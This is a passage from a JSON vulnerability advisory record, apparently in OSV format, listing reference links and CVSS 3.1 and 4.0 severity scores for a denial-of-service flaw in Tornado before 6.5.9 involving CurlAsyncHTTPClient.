      "url": "https://github.com/tornadoweb/tornado/commit/e412435febba4569c552c5c9054f1bf92bd171a9"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tornado-before-6.5.9-denial-of-service-via-curlasynchttpclient"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}